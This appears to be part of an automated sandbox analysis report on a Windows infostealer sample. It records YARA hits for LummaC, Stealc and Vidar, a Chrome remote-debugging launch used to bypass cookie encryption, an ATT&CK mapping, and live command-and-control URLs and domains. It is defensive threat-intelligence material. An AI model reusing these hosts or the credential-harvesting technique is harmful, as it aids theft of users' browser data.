Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP

Source: Yara match	File source: 00000019.00000003.2858808504.0000000000934000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2826895107.0000000000930000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2826572598.000000000092D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3289202367.00000000008D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2830489975.0000000000932000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2856534361.0000000000932000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2832978210.0000000000932000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3299740608.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 5912d4444a.exe PID: 6308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 5912d4444a.exe PID: 3176, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 5912d4444a.exe PID: 4912, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 5912d4444a.exe PID: 6308, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 5912d4444a.exe PID: 3176, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 5912d4444a.exe PID: 4912, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000019.00000002.2999735217.0000000005C71000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2987474200.0000000005650000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2422651725.000000000074E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2432002619.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2047396173.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2952615207.00000000080D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2866034548.0000000000CB1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.3232047766.0000000005360000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3037729886.0000000000CB1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3038650924.000000000172B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2994508562.00000000008D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.3272499902.0000000000CB1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2825109229.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.3273738251.000000000154B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2865698823.0000000000B2D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 5912d4444a.exe PID: 6308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b84e35a556.exe PID: 9016, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b84e35a556.exe PID: 6664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b84e35a556.exe PID: 4028, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 6608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 5912d4444a.exe PID: 6308, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00ABEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		24_2_00ABEC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00ABDF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		24_2_00ABDF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	21 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	111 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	247 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	12 Process Injection	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	771 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	111 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	361 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	121 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://store.steampoweW	0%	Avira URL Cloud	safe
http://185.215.113.206k	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exe6eG	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.phpT.	100%	Avira URL Cloud	malware
https://community.fastly.steamst	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exef-	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.phpSI	100%	Avira URL Cloud	malware
http://185.215.113.206/6.	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/api~r	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpsb	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exelencoded	100%	Avira URL Cloud	phishing
http://185.215.113.206/68b591d6548ec281/msvcp140.dllS	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/apii	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpp	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpg	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/O7	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php)S.	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpu	100%	Avira URL Cloud	malware
https://community.fas	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpx	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/apis	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpy	100%	Avira URL Cloud	malware
http://185.215.113.206/Microsoft	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
steamcommunity.com	23.192.247.89	true	false	high
plus.l.google.com	142.250.185.78	true	false	high
play.google.com	142.250.186.110	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.65.39.28	true	false	high
www.google.com	142.250.184.228	true	false	high
marshal-zhukov.com	188.114.97.3	true	false	high
googlehosted.l.googleusercontent.com	142.250.186.129	true	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
navygenerayk.store	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
presticitpo.store	unknown	unknown	false	high
founpiuer.store	unknown	unknown	false	high
scriptyprefej.store	unknown	unknown	false	high
thumbystriw.store	unknown	unknown	false	high
necklacedmny.store	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high
crisiwarny.store	unknown	unknown	false	high
fadehairucw.store	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
fadehairucw.store	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
founpiuer.store	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
presticitpo.store	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
https://c.msn.com/c.gif?rnd=1731351140832&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=dd40ff516ac54a66b0e25d85eb9c3226&activityId=dd40ff516ac54a66b0e25d85eb9c3226&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=0A49129BE96840A293F384488AC697A4&MUID=11F7061775776D430B031323746E6C70	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2280620657.000000002366D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195884896.00000000007FA000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2816661923.000000000557C000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2827345381.00000000055A6000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949339937.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949565383.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949231707.00000000052CB000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3248389050.00000000059BA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=g9lbYg_WDvLO&l=e	5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2280620657.000000002366D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195884896.00000000007FA000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2816661923.000000000557C000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2827345381.00000000055A6000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949339937.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949565383.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949231707.00000000052CB000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3248389050.00000000059BA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=h6HMV-M6cfAX&a	5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/profile.js?v=f9Xv_dG_70Ca&l=english	5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com/0	000003.log10.8.dr	false		high
https://community.fastly.steamst	5912d4444a.exe, 0000001F.00000002.3289202367.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2458742707.00000000236C2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msn	Reporting and NEL.9.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.16/luma/random.exef-	skotes.exe, 00000018.00000002.3297282430.000000000164E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://navygenerayk.store:443/api	5912d4444a.exe, 0000001F.00000003.2938277833.0000000000855000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000002.3289202367.0000000000855000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/ws	b84e35a556.exe, 0000001B.00000002.2865698823.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpnu	skotes.exe, 00000018.00000002.3297282430.000000000166B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aefd.nelreports.net/api/report?cat=bingcsp	Reporting and NEL.9.dr	false		high
http://185.215.113.16/steam/random.exe6eG	5912d4444a.exe, 00000019.00000002.2994508562.00000000008BD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://deff.nelreports.net/api/report	Reporting and NEL.9.dr	false		high
https://docs.google.com/	manifest.json.8.dr	false		high
http://www.valvesoftware.com/legal.htm	5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.9.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=1Zpka7DM_TWk&l=english	5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=ij4Q-MLeHxnJ&l=engl	5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	5912d4444a.exe, 00000019.00000003.2805655232.00000000008BD000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/6.	b84e35a556.exe, 00000020.00000002.3038650924.000000000177D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://s.ytimg.com;	5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	5912d4444a.exe, 00000019.00000003.2805655232.00000000008BD000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.000000000120D000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpT.	b84e35a556.exe, 00000020.00000002.3038650924.000000000177D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206k	b84e35a556.exe, 00000020.00000002.3038650924.000000000172B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
